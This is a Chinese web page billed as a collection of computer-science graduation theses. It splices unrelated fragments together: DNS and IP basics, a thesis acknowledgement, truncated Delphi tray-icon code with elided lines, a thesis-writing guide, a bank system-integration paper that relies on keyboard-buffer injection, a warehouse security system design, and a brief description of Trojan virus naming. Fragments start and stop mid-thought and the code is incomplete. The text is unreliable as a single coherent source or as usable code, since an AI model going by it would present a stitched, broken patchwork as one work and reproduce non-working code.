時間:2022-05-13 09:55:58
導言:作為寫作愛好者,不可錯過為您精心挑選的10篇計算機系畢業(yè)論文,它們將為您的寫作提供全新的視角,我們衷心期待您的閱讀,并希望這些內(nèi)容能為您提供靈感和參考。
當前,在經(jīng)濟全球化和全球信息化大潮中,人們不僅重視信息及其集成的作用,而且更加重視信息使用者對信息集成的反應和運用?;ヂ?lián)網(wǎng)上的域名已為越來越多的人們所關注,因此,了解域名及其對應的IP地址的關系,正確地配置域名服務器,就成為設立網(wǎng)站、使自己在Internet上注冊的域名得到體現(xiàn)的關鍵。
1.IP地址
IP(InternetProtocol)地址就是網(wǎng)絡協(xié)議地址,是分配給網(wǎng)絡節(jié)點的邏輯地址。這些網(wǎng)絡節(jié)點可以是網(wǎng)絡中的任何一臺主機,提供節(jié)點之間的交換信息服務。由于在Internet網(wǎng)絡中存在著大量的節(jié)點,為了能夠在網(wǎng)上找到這個節(jié)點,就必須給予標識。IP地址就是一種標識方法,它獨立于任何特定的網(wǎng)絡硬件和網(wǎng)絡配置,使用TCP/IP協(xié)議的網(wǎng)絡在發(fā)送或接收信息時先把數(shù)據(jù)打包,然后將目標IP地址翻譯成MAC(Medi-umAccessControl)硬件的物理地址,這樣就可以把數(shù)據(jù)包準確地發(fā)送或接收過來。
每個IP地址是由4個字節(jié)共32位組成,每字節(jié)之間使用小數(shù)點分隔,一般用十進制數(shù)字表示。每個IP地址包括兩個標識(ID),即網(wǎng)絡ID和宿主機ID,同一個物理網(wǎng)絡上的所有主機都用同一個網(wǎng)絡ID,而網(wǎng)絡上的每個服務器、路由器、計算機等都有一個主機ID。比如202.98.180.194即是云南省科學技術情報研究所的一個WWW服務器的IP地址。
2.因特網(wǎng)域名及結構
由于IP地址全是數(shù)字代碼,既不直觀又難于記憶,因特網(wǎng)在IP地址的基礎上,提供了一種面向用戶的主機名字,即域名。如istiy(InstituteofScientific&TechnicalInformationofYunnan)為我所(云南省科學技術情報研究所)的英文縮寫。即為我所在因特網(wǎng)上注冊的域名,而(主機名+域名)為我所DNS服務器的主機域名,對應的IP地址就是202.98.180.193。
3.域名解析系統(tǒng)DNS(DomainNameSystem)就是提供域名與IP地址相互映射的網(wǎng)絡服務。事實上,DNS是遍布于全世界的一個分布式數(shù)據(jù)庫。它主要負責控制整個數(shù)據(jù)庫中的部分段,每一段中的數(shù)據(jù)通過客戶/服務模式在整個網(wǎng)絡上均可存取。DNS的數(shù)據(jù)庫結構,同UNIX文件系統(tǒng)(或MSDOS文件系統(tǒng))的結構很相似,整個數(shù)據(jù)庫(或文件系統(tǒng))將根放在頂端,畫出來就像一顆倒轉的樹。在DNS中,根的名字以空字符串“”表示,DNS簡單地稱其為“根”(Root)或偶而稱之為“根域”(RootDomain),在UNIX文件系統(tǒng)中,根以反斜杠“/”表示,被稱為“根目錄”。如圖1所示.
圖1在DNS和UNIX文件系統(tǒng)中名稱的讀法
DNS數(shù)據(jù)庫“”
在這寶貴的兩年的研究生生活中,首先我要感謝我的導師——郭清順老師?!笆谌艘贼~,不如授之以漁”,郭老師正是這樣以言傳身教來教導著我們。
在這里,還要特別感謝我另外一位老師——道焰老師,她雷厲風行的性格、干凈利落的做事風格永遠是我學習的榜樣。無論是在學習上還是在生活,她總給在我最需要的時候給予幫助。
不得不提,王竹立老師,他慈父一樣的關懷曾使我感激不已。他使我懂得,踏踏實實做人,認認真真做事,應付別人就是應付自己。
感謝在研究生學習期間給我諸多教誨和幫助的信息與網(wǎng)絡中心的各位老師,感謝陳鐵老師、蘇順開老師、黃海老師、張汶老師給予我的指導和幫助!
感謝317實驗室的兄弟姐妹,是你們給我?guī)砹藲g樂,是你們讓我知道了什么是手足情深。
感謝我的三位同學——陳頌麗、路昉碩和郭澤平,我們之間的友誼足以使我今生不忘。
感謝我的朋友——淦鑫、馬偉杰、王海洋、賀明威、林諸鳴、甘榮偉,感謝你們在我失意時給我鼓勵,在失落時給我支持,感謝你們和我一路走來,讓我在此過程中倍感溫暖!
相關的論文致謝樣本
·畢業(yè)論文致謝如何寫·課程設計論文致謝詞·博士生論文致謝范例
unitpro2;
interface
uses
。。。,Menus,shellAPI;//TNotifyIconData是定義在shellAPI單元的
{自定義消息,當小圖標捕捉到鼠標事件時Windows向回調函數(shù)發(fā)送此消息}
constWM_MYTRAYICONCALLBACK=WM_USER+1000;
。。。。
private
MyTrayIcon:TNotifyIconData;
procedureWMMyTrayIconCallBack(VarMsg:TMessage);messageWM_MYTRAYICONCALLBACK;
//托盤消息處理過程
procedureWMCommand(Varmsg:TWMCommand);messageWM_Command;
//處理托盤圖標的右鍵菜單事件
procedureMinimize(varmess:TWMNCLBUTTONDOWN);messageWM_NCLBUTTONDOWN;
//窗體最小化時的消息處理
。。。。。。。。
procedureTForm1.FormCreate(Sender:TObject);
begin
//將程序窗口樣式設為TOOL窗口,避免在任務欄上出現(xiàn)
SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
end;
procedureTForm1.FormShow(Sender:TObject);
begin
//設置托盤
Icon.Handle:=LoadIcon(Hinstance,''''MAINICON'''');
MyTrayIcon.cbSize:=SizeOf(TNotifyIconData);//nid變量的字節(jié)數(shù)
MyTrayIcon.Wnd:=Handle;//主窗口句柄
MyTrayIcon.uID:=1;//內(nèi)部標識,可設為任意數(shù)
MyTrayIcon.uFlags:=NIF_ICONorNIF_TIPorNIF_MESSAGE;//指明哪些字段有效
MyTrayIcon.uCallBackMessage:=WM_MYTRAYICONCALLBACK;//回調函數(shù)消息,將自定義托盤消息傳遞進去
MyTrayIcon.hIcon:=Application.Icon.Handle;//要加入的圖標句柄,可任意指定
StrCopy(MyTrayIcon.szTip,PChar(Caption));
Shell_NotifyIcon(NIM_ADD,@MyTrayIcon);
ShowWindow(Handle,sw_Hide);
//Visible:=False;//當程序啟動時就最小化在托盤區(qū)即Form.Create時啟用此語句
Application.ShowMainForm:=False;
SetForegroundWindow(Application.Handle);
end;
////消息過程實現(xiàn)
procedureTForm1.WMMyTrayIconCallBack(varMsg:TMessage);
varCursorPos:TPoint;
begin
caseMsg.LParamof
WM_LBUTTONDBLCLK://雙擊消息:彈出主窗口
begin
Visible:=notVisible;
Application.ShowMainForm:=Visible;
SetForegroundWindow(Application.Handle);
end;
WM_RBUTTONDOWN://鼠標右鍵:彈出菜單
begin
GetCursorPos(CursorPos);
{Popupmenu1.Popup(CursorPos.X,CursorPos.Y);
popupmen1里面就可以加入顯示主窗口、退出等功能。這個右鍵菜單可以是靜態(tài)的,如上面一句來彈出;也可以動態(tài)建立,如下面所示的方法:}
pm:=createpopupmenu;//建立一個Hmenu,pm:hmenu;
AppendMenu(pm,0,ord(''''A''''),''''關于....'''');//在指定的菜單里添加一個菜單項
AppendMenu(pm,0,Ord(''''B''''),''''&Exit'''');
//加入菜單事件---》處理WMCOMMAND消息即可
TrackPopupMenu(pm,Tpm_BottomAlignorTpm_RightAlign,CursorPos.x,CursorPos.y,0,handle,nil);
//在圖標上方顯示該彈出式菜單
end;
end;
end;
procedureTForm1.WMCommand(varmsg:TWMCommand);
begin
Casemsg.ItemIDof
Ord(''''A''''):showmessage(''''我的右鍵菜單!'''');
Ord(''''B''''):Self.close;//關閉程序主窗體
elseinherited;
end;
end;
procedureTform1.Minimize(varmess:TWMNCLBUTTONDOWN);//應用程序最小化消息處理
begin
ifMess.Hittest=htReducethen
Self.Hide
elseinherited;
end;
procedureTForm1.FormClose(Sender:TObject;varAction:TCloseAction);
var{程序被關閉時通知Windows去掉小圖標}
nid:TNotifyIconData;
begin
nid.cbSize:=sizeof(nid);//nid變量的字節(jié)數(shù)
nid.uID:=1;//內(nèi)部標識,與加入小圖標時的數(shù)一致
寫作流程
自考計算機專業(yè)畢業(yè)論文有1年準備時間,寫作時間的分配主要取決于考生軟件開發(fā)的進度,如果考生開發(fā)的軟件很成熟,那末后續(xù)的寫作時間就較快,否則后面的寫作就會很被動。例如,一般會在每年7月份登記,9月底開題,期間開發(fā)軟件,到第二年2、3月就要完成初稿,再留一個月修改。
1、選題。選題首先要重要、有意義。例如有的考生選擇設計木馬程序,其本身是個病毒程序,這樣的程序只能帶來危害,實際生活中沒有意義,就不能用于做畢業(yè)論文。
2、開發(fā)軟件。開發(fā)軟件要與實際相結合。實際性非常重要,要自己能開發(fā)一個能實際運行的軟件。有的考生自己并沒有參與實際工作,只是看書是不行的。自己參與的可以是一個大的項目或課題組,論文中介紹完大的系統(tǒng)后,一定要把自己的工作量寫清楚。
3、寫論文。開發(fā)完就可以寫論文了,論文是個總結,但是不要寫成工作總結,一定要有主題,應體現(xiàn)自己的開發(fā)思想和論述自考本科計算機專業(yè)畢業(yè)論文寫作指南自考本科計算機專業(yè)畢業(yè)論文寫作指南。寫論文要達到一定字數(shù),一般要3萬字。其中,編程代碼一般為2-3千行,這個不是機器自動生成的代碼,一定是自己寫的源代碼。
論文結構
計算機專業(yè)畢業(yè)論文一般有8個部分。1、概述或引言。這個部分相當于大綱,一般要求4-5千字,主要是對軟件開發(fā)背景,使用的軟件工具、環(huán)境,最后達到的效果,自我在里面的貢獻等;2、需求分析。軟件有哪些功能、模塊,用的什么工具等;3、設計方案和主要技術自考本科計算機專業(yè)畢業(yè)論文寫作指南文章自考本科計算機專業(yè)畢業(yè)論文寫作指南出自http://gkstk.com/article/wk-78500001321796.html,轉載請保留此鏈接!。主要是對里面每一部分的詳細論述,使用的是什么技術,為什么使用。詳細的模塊分析或遇到的難點是怎樣解決的等;4、具體的實現(xiàn)過程;5、測試。介紹自己開發(fā)軟件實際達到的效果;6、總結。介紹自己開發(fā)軟件的體會,或自己開發(fā)的成果使用情況,有什么評價,自己還有哪些不足,有什么需要改進的地方;7、致謝;8、參考文獻。另外,還可以加一個“附錄”部分。正文只能有一個中心,其他有重要參考價值的都可以放在附錄部分。例如有重要的代碼、圖表,涉及其他領域的知識,需要解釋的等都可以放在附錄部分。
案例1:《家裝工程預算軟件的開放》1、概述;2、需求分析;3、總體設計;4、數(shù)據(jù)庫設計;5、軟件功能的實現(xiàn);6、結論及改進;7、致謝;8、參考文獻。
案例2:《經(jīng)緯中天無線短信增值服務管理軟件的設計和開放》1、引言;2、需求分析;3、設計方案論證和主要技術介紹;4、系統(tǒng)設計;5、編碼實現(xiàn);6、實際運行中出現(xiàn)的問題及相應的解決方案;7、結束語;8、致謝;9、參考文獻。
答辯程序
答辯現(xiàn)場會有專業(yè)老師組成的答辯小組,一般為5人左右,學生抽簽分配答辯組。答辯現(xiàn)場要考生做介紹和演示??忌枰崆皽蕚浠脽羝话悴怀^20張,為論文最核心部分的內(nèi)容自考本科計算機專業(yè)畢業(yè)論文寫作指南論文
WiseMedia
考生結合幻燈片介紹論文,答辯小組老師會根據(jù)考生論文提出問題,考生要實事求是回答,最后答辯小組老師打分,求平均分給出考生論文成績。大部分考生都會達到優(yōu)、良,個別考生沒有通過論文,主要有兩方面原因:1、論文并不是自己真正所做,用別人的軟件為自己所用,老師一提問就能發(fā)現(xiàn)破綻;2、考生論得太簡單,達不到工作量。這就需要考生踏踏實實地按照要求去作論文。
零碎提醒
論文的題目不要太大,一定要具體、實際,不能吹成通用的;
自考生考過全部課程后,最好能尋求實踐機會??梢匀腹?,真正參與一個項目,一邊工作一邊寫論文;
論文不要上網(wǎng)抄,一定要自己做;
1引言
在接到開發(fā)中國人民銀行廣西區(qū)分行辦公信息服務系統(tǒng)任務的初期,我們既興奮又迷茫,興奮的是我們有機會從事一項意義重大的工作,迷茫的是在我們以往所進行的系統(tǒng)集成實例中找不到可以借鑒的經(jīng)驗,而且從各種資料上也查不到類似的范例。盡管開始時我們還感到無從下手,但我們還是下決心完成這一艱巨的任務。在整項工程的建設過程中,我們的感覺仿佛是在黑暗中摸索前進,我們制定并否定了一個又一個方案,最后終于找到了一個看起來可行的方案,并勇敢地前進,終于在完成了任務的同時證明了這一方案的可行性。2需求分析
中國人民銀行廣西區(qū)分行辦公信息服務系統(tǒng)建設的目的是為行長和處長們辦公決策提供全面、可靠、快捷的信息服務。這一系統(tǒng)開發(fā)完成后,行長及處長們只需在計算機前就可調閱人行各業(yè)務處的數(shù)據(jù)和報表,并且還能查閱到廣西區(qū)情、廣西國民經(jīng)濟綜合情況、電話號碼、飛機航班、列車時刻、最新文件及重大事件等信息。中國人民銀行辦公信息服務系統(tǒng)不僅要新開發(fā)許多公共信息服務系統(tǒng),而且最重要的是要在人行廣西區(qū)分行二十多個業(yè)務處現(xiàn)有的和將來中國人民銀行總行配發(fā)的軟件系統(tǒng)基礎上進行,即要求新開發(fā)系統(tǒng)要完全具有人行廣西區(qū)分行原有各業(yè)務系統(tǒng)及將來總行配發(fā)下來的軟件系統(tǒng)功能。根據(jù)項目內(nèi)容,我們可以將需求歸納成兩大類信息服務系統(tǒng)即業(yè)務信息類和公共信息類信息服務系統(tǒng)。
公共信息類信息服務系統(tǒng)包括電話號碼、列車時刻、飛機航班、最新公文及最新動態(tài)、廣西區(qū)情及綜合情況等這些公共的信息查詢系統(tǒng),這類系統(tǒng)原來中國人民銀行廣西區(qū)分行內(nèi)沒有,因此我們需要開發(fā)這些軟件系統(tǒng),這一部分方案比較容易確定。業(yè)務信息是指中國人民銀行廣西區(qū)分行各業(yè)務處每日產(chǎn)生的大量數(shù)據(jù)及報表,這些數(shù)據(jù)及報表是各處的業(yè)務軟件系統(tǒng)處理的結果。業(yè)務信息類服務系統(tǒng)不僅要求功能齊全,而且要操作簡單,行長和處長們只需進行簡單的操作即可查閱到各業(yè)務處的數(shù)據(jù)和報表。因為各業(yè)務處的辦公信息服務系統(tǒng)的來源復雜,有的是從中國人民銀行總行各相對獨立的專業(yè)司配發(fā)下來的,有的是中國人民銀行廣西區(qū)分行科技處的同志開發(fā)的,有的是市縣支行同志開發(fā)的。同時這些軟件開發(fā)工具也不一,并多是.EXE文件,因此系統(tǒng)集成難度大,我們需要尋找到一個可行的系統(tǒng)集成方案。
3系統(tǒng)集成方案的制定
本項工程最突出的特點是要在完全利用原有系統(tǒng)的前提下為高層領導開發(fā)一個高水平的軟件系統(tǒng),因此無論在設計思想上還是在技術上都需要對現(xiàn)有系統(tǒng)集成方法有所突破。為此,我們進行了多種嘗試,先后制定過以下四個方案。
(1)從分析和處理各原業(yè)務系統(tǒng)原始數(shù)據(jù)入手重現(xiàn)各種報表。
(2)截取打印機端口數(shù)據(jù)獲得原業(yè)務系統(tǒng)各種報表,并進行處理。
(3)將原業(yè)務系統(tǒng)數(shù)據(jù)轉換成可被EXCEL.識別的數(shù)據(jù),用EXCEL來編制和管理報表系統(tǒng)。
(4)直接將原業(yè)務系統(tǒng)集成進我們的系統(tǒng),利用原業(yè)務系統(tǒng)的查詢功能。
經(jīng)過深入細致的調研和研究分析,我們選定了最后一個方案。直接將原業(yè)務系統(tǒng)集成進我們的系統(tǒng),利用原業(yè)務系統(tǒng)的查詢功能。
4辦公信息服務系統(tǒng)總體設計方案
在分別確定了網(wǎng)絡系統(tǒng)方案,軟件系統(tǒng)及系統(tǒng)集成方案后,我們設計了系統(tǒng)總體設計方案。具體如下:
1)采用WINDOWSNT網(wǎng)絡結構,服務器為中文WINDOWSNT3.51,工作站采用中文WINDOWS3.2。
2)數(shù)據(jù)庫采用CLIENT/SERVER模式,數(shù)據(jù)庫服務器采用SQLSERVER6.5,LIENT端開發(fā)工具采POWERBUILDER5.0。
3)用POWERBUILDER5.0開發(fā)系統(tǒng)主框架及公共信息子系統(tǒng)。
4)將業(yè)務系統(tǒng)放在工作站硬盤上,讓其在工作站上運行,然后通過網(wǎng)絡來采集和傳送數(shù)據(jù)。
5)將各業(yè)務系統(tǒng)直接集成到辦公信息服務系統(tǒng)中。
6)將所有業(yè)務系統(tǒng)在每臺行長用機硬盤上都安裝一套,行長在本工作站上使用與各業(yè)務處相同的系統(tǒng),查閱各種業(yè)務數(shù)據(jù),業(yè)務數(shù)據(jù)通過網(wǎng)絡采集。
7)用直接對鍵盤緩沖區(qū)操作的方法,簡化行長對業(yè)務數(shù)據(jù)的查詢過程。
5系統(tǒng)數(shù)據(jù)流程
公共信息存放在網(wǎng)絡服務器,各工作站都可直接查詢。
從業(yè)務軟件上網(wǎng),數(shù)據(jù)的安全性及軟件系統(tǒng)的可靠性三方面考慮,中國人民銀行廣西區(qū)分行辦公信息服務系統(tǒng)將業(yè)務軟件系統(tǒng)及所有的業(yè)務查詢系統(tǒng)軟件都放置在工作站硬盤上,業(yè)務數(shù)據(jù)查詢操作也只對工作站硬盤進行。在對業(yè)務數(shù)據(jù)處理方面網(wǎng)絡只承擔數(shù)據(jù)采集及傳遞的任務,業(yè)務數(shù)據(jù)的流程是定期從各業(yè)務處工作站拷貝到網(wǎng)絡上相應目錄,再由行長和處長們將其從網(wǎng)絡上取回到他們自己的工作站。
6需要解決的技術問題
采用這一方案,需要將用POWERBUILDER新開發(fā)出來的系統(tǒng)與原有的WINDOWS環(huán)境上運行的,EXE文件與在DOS下中文環(huán)境UCDOS上運行的.EXE文件及在DOS環(huán)境上foxbase下運行的.PRG文件,或在LOTUS123下運行的軟件集成在一起,并且采用了直接對鍵盤緩沖區(qū)進行操作的技術,因此就面臨著許多諸如內(nèi)存不夠,地址及顯示方式?jīng)_突等錯綜復雜的問題,下面就介紹我們曾遇到的問題及解決問題的方法。
6.1網(wǎng)絡結構
由于各業(yè)務系統(tǒng)原來是在單用戶環(huán)境上開發(fā)的,沒有考慮網(wǎng)絡上運行的特點,因此無法直接上網(wǎng),為此我們采用非集中式數(shù)據(jù)管理方法,將業(yè)務系統(tǒng)放在工作站硬盤上,讓其在工作站上運行,然后通過網(wǎng)絡來采集和傳送數(shù)據(jù),這樣就解決了業(yè)務系統(tǒng)多個用戶同時使用,數(shù)據(jù)共享及網(wǎng)絡安全等問題。
6.2系統(tǒng)集成方案
因為中國人民銀行廣西區(qū)分行辦公信息服務系統(tǒng)覆蓋面很大,并要將原有五花八門的系統(tǒng)與新開發(fā)的系統(tǒng)集成在一起,在這些系統(tǒng)中有POWERBUILDER開的發(fā),有用VISUALFOXPROFORWINDOWS及FOXPROFORWINDOWS開發(fā)的,也有在DOS及UCDOS下用FOXPRO2.5及FOXBASE開發(fā)的,還有在LOTUS123下運行的系統(tǒng),同時還要考慮直接對鍵盤緩沖區(qū)進行操作時的可靠性,因此系統(tǒng)集成方案是本項目中的關鍵。我們曾經(jīng)制定了兩種方案,第一種方案是系統(tǒng)一開始是運行在DOS環(huán)境上,先進入UCDOS,這樣用戶可正常運行DOS下的業(yè)務系統(tǒng),當需要運行WINDOWS下的系統(tǒng)時,才退出UCDOS進入WINDOWS,用戶接著可使用WINDOWS下的業(yè)務軟件及公共信息軟件系統(tǒng)。第二種方案是,系統(tǒng)一開始就運行在WINDOWS環(huán)境,用戶可直接運行公共信息系統(tǒng)及WINDOWS環(huán)境下的業(yè)務軟件系統(tǒng),當用戶需要使用DOS環(huán)境的系統(tǒng)時,再調用WINDOWS下的DOS窗口,進入UCDOS,然后運行業(yè)務軟件系統(tǒng),運行完后退回WINDOWS。第一種方案比較簡單,但用戶界面不理想,操作步驟及系統(tǒng)反應時間較長。第二方案用戶界面良好,操作管理簡便,但由于系統(tǒng)疊加層次較多,因此需解決內(nèi)存及其它資源限制及沖突等問題。經(jīng)過努力我們成功地按第二方案實施,使得原來五花八門而顯得零亂的多個系統(tǒng)在WINDOWS下集成起來,形成一個有機的整體。6.3鍵盤緩沖區(qū)操作
因為辦公信息服務系統(tǒng)的使用者是人行廣西區(qū)分行的高層領導,因此除了要求界面美觀之外,還特別要求使用簡便。由于我們將各原有系統(tǒng)集成到我們的軟件中,而各原有系統(tǒng)一般功能繁多,并多需要輸入口令等繁瑣的步驟才能進入到領導們所需的查詢功能,因此我們采用預先將這些操作的字符序列自動寫入鍵盤緩沖區(qū)的辦法,將這些步驟“短路”,領導們在調用該業(yè)務系統(tǒng)時就直接進入到查詢功能。
在對DOS環(huán)境下運行的業(yè)務系統(tǒng),我們采用直接向鍵盤緩沖區(qū)寫入字符序列,以簡化操作的方法。采用這種方法需要掌握寫入的時機,否則及容易造成不可預見性的結果以致死機。由于用戶將要在不同業(yè)務系統(tǒng)中來回選擇,因此鍵盤緩沖區(qū)操作程序在內(nèi)存的駐留方式也是一個需要處理好的問題,否則會出現(xiàn)內(nèi)存管理混亂等問題。經(jīng)過反復嘗試我們找到了解決問題的方案,采用從WINDOWS調用DOS進程及UCDOS之后,調用鍵盤緩沖區(qū)操作程序,將操作序列寫入到鍵盤緩沖區(qū),然后再調用業(yè)務系統(tǒng),由系統(tǒng)自動按鍵盤緩沖區(qū)的字符序列進入業(yè)務系統(tǒng)的查詢操作,在退出業(yè)務系統(tǒng)時,由WINDOWS自動清除內(nèi)存中的UCDOS及鍵盤緩沖區(qū)操作程序,使內(nèi)存恢復到調用前原狀。在處理WINDOWS環(huán)境中運行的業(yè)務系統(tǒng)時,我們在進入系統(tǒng)前直接調用鍵盤緩沖區(qū)操作程序,將操作序列寫入到鍵盤緩沖區(qū),然后調用業(yè)務系統(tǒng),讓其自動按鍵盤緩沖區(qū)序列進入到其查詢功能。
6.4內(nèi)存優(yōu)化
采用這種集成方案,內(nèi)存將要容納網(wǎng)絡驅動程序,WINDOWS,UCDOS,F(xiàn)OXBASE,業(yè)務系統(tǒng),DOS解釋程序等,因此常常會遇到內(nèi)存不足的問題,采用優(yōu)化內(nèi)存是解決內(nèi)存不足的一種方法,我們采用DOS的MEMMAKER來優(yōu)化內(nèi)存,以解決基本內(nèi)存不足的問題。
6.5WINDOWS與UCDOS協(xié)調工作
由于系統(tǒng)主框架是運行于WINDOWS環(huán)境,而業(yè)務系統(tǒng)許多是在DOS環(huán)境下UCDOS環(huán)境中運行,這就涉及中文WINDOWS與UCDOS協(xié)調工作的問題,如果先進UCDOS,然后執(zhí)行WINDOWS,則會造成顯示方式?jīng)_突,系統(tǒng)無法使用,反之,先進WINDOWS然后再調用DOS進程,進入UCDOS,則使用順暢,并且在退出DOS進程后,內(nèi)存沒有任何殘留。
6.6解決內(nèi)存不足問題
采用直接集成方案,內(nèi)存將要容納網(wǎng)絡驅動程序、WINDOWS、UCDOS、FOXBASE,業(yè)務系統(tǒng),DOS解釋程序等,因此常常會遇到內(nèi)存不足的問題,采用優(yōu)化內(nèi)存是解決內(nèi)存不足的一種方法,但只能解決部分基本內(nèi)存不足的問題,在許多情況下仍需采用別的方法。如某處業(yè)務軟件是在FOXBASE下運行的.FOX程序,該.FOX程序調用DOS命令,這樣內(nèi)存中將要容納網(wǎng)絡驅動程序,中文WINDOWS3.2,DOS,UCDOS5.0,鍵盤操作駐留程序,F(xiàn)OXBASE,該.FOX及DOS命令解釋程序,從而造成內(nèi)存不足。為解決這一問題,我們找來了反編譯程序,將.FOX文件反編譯成.PRG文件,然后用FOXPRO2.5,將其編譯成.EXE文件,這樣在調用它時,就無需執(zhí)行FOXBASE,從而解決這種內(nèi)存不足的問題。
7成果
在進行項目開發(fā)的過程中我們曾查閱許多資料,沒有人曾介紹用類似的方案進行系統(tǒng)集成的經(jīng)驗。因此在項目開發(fā)完成前,我們一直擔心,最后的系統(tǒng)會不會是個“四不象”,但我們驚喜地發(fā)現(xiàn),我們的系統(tǒng)不僅功能強大,性能可靠,而且各部分銜接自然,使用極其方便。這種系統(tǒng)集成方法是一種新穎的方法。為在大型企業(yè)及機構已有的軟件系統(tǒng)基礎上進行系統(tǒng)集成創(chuàng)造了一種巧妙簡截而又成功的解決方案。
9參考文獻
[1]PowerBuilder5.0技術參考手冊(套)北京市曉通網(wǎng)絡數(shù)據(jù)庫研究所
[2]Excel5forwindows大全,海洋出版社
一、引言
計算機技術、網(wǎng)絡技術、多媒體技術的成熟與發(fā)展,為倉儲管理自動化提供了強有力的技術支持。當前已有的系統(tǒng)其功能一般比較單一。如防盜系統(tǒng)只管防盜;倉儲管理系統(tǒng)只負責倉庫物品的數(shù)據(jù)處理;控制系統(tǒng)只完成簡單的環(huán)境控制功能(如開關門、開關燈、通風等)。將這些功能彼此獨立的系統(tǒng)有機結合起來,組成一個既能完成管理,又能實現(xiàn)實時監(jiān)控的一體化自動管理系統(tǒng)具有重要的意義。我們所設計的這套倉庫安全管理綜合信息系統(tǒng),是把門禁系統(tǒng)(IC卡開門)、環(huán)境監(jiān)控系統(tǒng)、財務管理系統(tǒng)、合同管理系統(tǒng)、報警控制系統(tǒng)和數(shù)據(jù)處理系統(tǒng)結合在一起,充分利用了先進的計算機技術和控制手段。它既能通過音頻、視頻以及紅外線、雷達、震動等傳感器實時監(jiān)控對所有分庫的開門、取物、檢修等操作,又能對防區(qū)內(nèi)的警報信號立即處理或自動上報;它還是一個倉庫的數(shù)據(jù)中心,能完成人員、倉儲信息處理以及自動報時、鳴號、熄燈、開關高壓電網(wǎng)、布撤防等控制。另外,該系統(tǒng)還與財務管理系統(tǒng)、合同管理系統(tǒng)集成在一起構成一個安全、主動和綜合的倉庫管理系統(tǒng)。
二、系統(tǒng)的基本要求
目前的倉庫管理系統(tǒng)一般技術比較落后、性能較差且很不完備,有的甚至沒有安全防盜功能。即使有安全防盜功能其性能一般也不太理想,人工干涉多,操作使用不方便,有的還故障率高而不實用。隨著社會信息交流的日益加強和信息量的集聚增加,再加上盜竊活動的團伙化、智能化和高技術化等特點,倉儲管理部門越來越需要一套低成本、高性能、方便使用、功能完善的綜合倉庫監(jiān)控管理系統(tǒng)。要求它具有立即捕捉警情并提供警情發(fā)生地的有關信息(如地圖、位置、類型、程度、平面圖、地形圖、結構圖以及警情發(fā)生地的倉儲情況等),計算機系統(tǒng)馬上對警情做出反應,迅速通知值班人員和倉庫管理員(通過聲光等信號形式),可能的話還可立即對警情發(fā)生地實施控制(如接通高壓電網(wǎng)、自動封閉門窗、拉響警笛、打開探照燈等)。對重要的警情要立即通過計算機網(wǎng)絡或內(nèi)部電話自動交換網(wǎng)上報上級主管部門。特別是要求系統(tǒng)能完整記錄從發(fā)生警情到上報,進而做出處理的全過程,以便于事后分析處理。
倉庫大門的鑰匙管理和開門方法應采用較科學的電子識別手段(如磁卡、IC卡)進行控制,倉庫內(nèi)外的溫度和濕度用溫濕度傳感器自動測量和記錄。發(fā)現(xiàn)越限時報警通知管理員,以便于管理員及時采取通風降溫和除濕等方法,確保倉儲物品的安全。除此之外,系統(tǒng)還可以對倉儲物品的出入庫、物品訂購合同、財務信息以及人員信息等內(nèi)容進行統(tǒng)一的管理,以提高辦公自動化的程度。
三、系統(tǒng)功能描述
1.定時自動測量和記錄濕度和溫度,并能夠觸發(fā)越界報警;
2.可掛接多種類型的防區(qū),每個防區(qū)可以是震動、雷達、紅外線等類型的一種;
3.系統(tǒng)對每個警情立即反應,指出地點、位置等,給出警情所在地的結構圖,并能自動啟動警號、燈光等報警設備,必要時可立即自動撥號上報上級主管部門;
4.雙IC卡開門,并自動記錄開門時間,持卡者身份等信息;
5.對鑰匙統(tǒng)一管理,記錄取鑰匙的時間,人員等信息;
6.可以進行人員管理、倉儲管理、財務管理、合同管理等內(nèi)容;
7.自動記錄管理員交接班日志,對倉庫的操作也均有記錄;
8.可根據(jù)綜合條件檢索歷史記錄,并可打印輸出。
9.對人員的情況、密碼(管理員)、防區(qū)所接傳感器參數(shù)均可隨時更新。
綜上所述,系統(tǒng)所完成的功能是比較全面的。其中以處理警情的優(yōu)先級最高,一旦發(fā)生警報,應立即停止其它事務性處理工作,轉為響應處理警報。由于這種系統(tǒng)具有一定的技術先進性、新穎性和實用性,可以對倉儲信息進行有效的安全管理。
四、系統(tǒng)的設計結構
系統(tǒng)實現(xiàn)采用結構化和面向對象的設計技術,硬件結合了單板機廉價、穩(wěn)定的優(yōu)點和PC機大容量、高速度、界面友好的特點,將整個系統(tǒng)分成功能相對獨立的若干子模塊,使系統(tǒng)結構層次分明,結構嚴謹,極易于維護和使用。由于系統(tǒng)采用結構化設計,自頂向下逐步分解精化而成,由多個模塊組成,因此可按散件組裝法則根據(jù)現(xiàn)場實際需求,靈活取舍組合系統(tǒng)各組成部件。對于一些特殊要求也可以采用模塊化形式方便地實現(xiàn)其功能的擴展,從而形成由低成本、簡單功能到高投入、復雜功能不同層次的系列產(chǎn)品,但無論怎樣組合均不會降低系統(tǒng)整體性能。系統(tǒng)的邏輯功能結構如圖1所示。
圖1系統(tǒng)功能邏輯結構圖(圖略)
五、操作使用簡介
系統(tǒng)運行于WINDOWS環(huán)境,其界面同時具有字符、圖形、動畫、菜單命令等各種輸入輸出格式,友好且直觀形象,再加上采用了WINDOWS所特有的聯(lián)機提示和后援幫助作輔助手段,使系統(tǒng)的使用簡單易學,非常便于普及推廣。整個操作可分為四大部分:
1.利用按鈕完成各種控制功能;
2.圖形操作界面,利用鼠標代替鍵盤輸入,快速直觀,一學就會;
3.對記錄的數(shù)據(jù)進行綜合條件的檢索,查詢并打印輸出,可用鼠標選擇查詢條件;
(一)木馬病毒、黑客病毒木馬病毒其前綴是:Trojan,黑客病毒前綴名一般為Hack。木馬病毒的公有特性是通過網(wǎng)絡或者系統(tǒng)漏洞進入用戶的系統(tǒng)并隱藏,然后向外界泄露用戶的信息,而黑客病毒則有一個可視的界面,能對用戶的電腦進行遠程控制。木馬、黑客病毒往往是成對出現(xiàn)的,即木馬病毒負責侵入用戶的電腦,而黑客病毒則會通過該木馬病毒來進行控制?,F(xiàn)在這兩種類型都越來越趨向于整合了。一般的木馬如QQ消息尾巴木馬Trojan.QQ3344,有大家可能遇見比較多的針對網(wǎng)絡游戲的木馬病毒如Trojan.LMir.PSW.60。這里補充一點,病毒名中有PSW或者什么PWD之類的一般都表示這個病毒有盜取密碼的功能(這些字母一般都為密碼的英文password的縮寫)一些黑客程序如:網(wǎng)絡梟雄(Hack.Nether.C1ient)等。
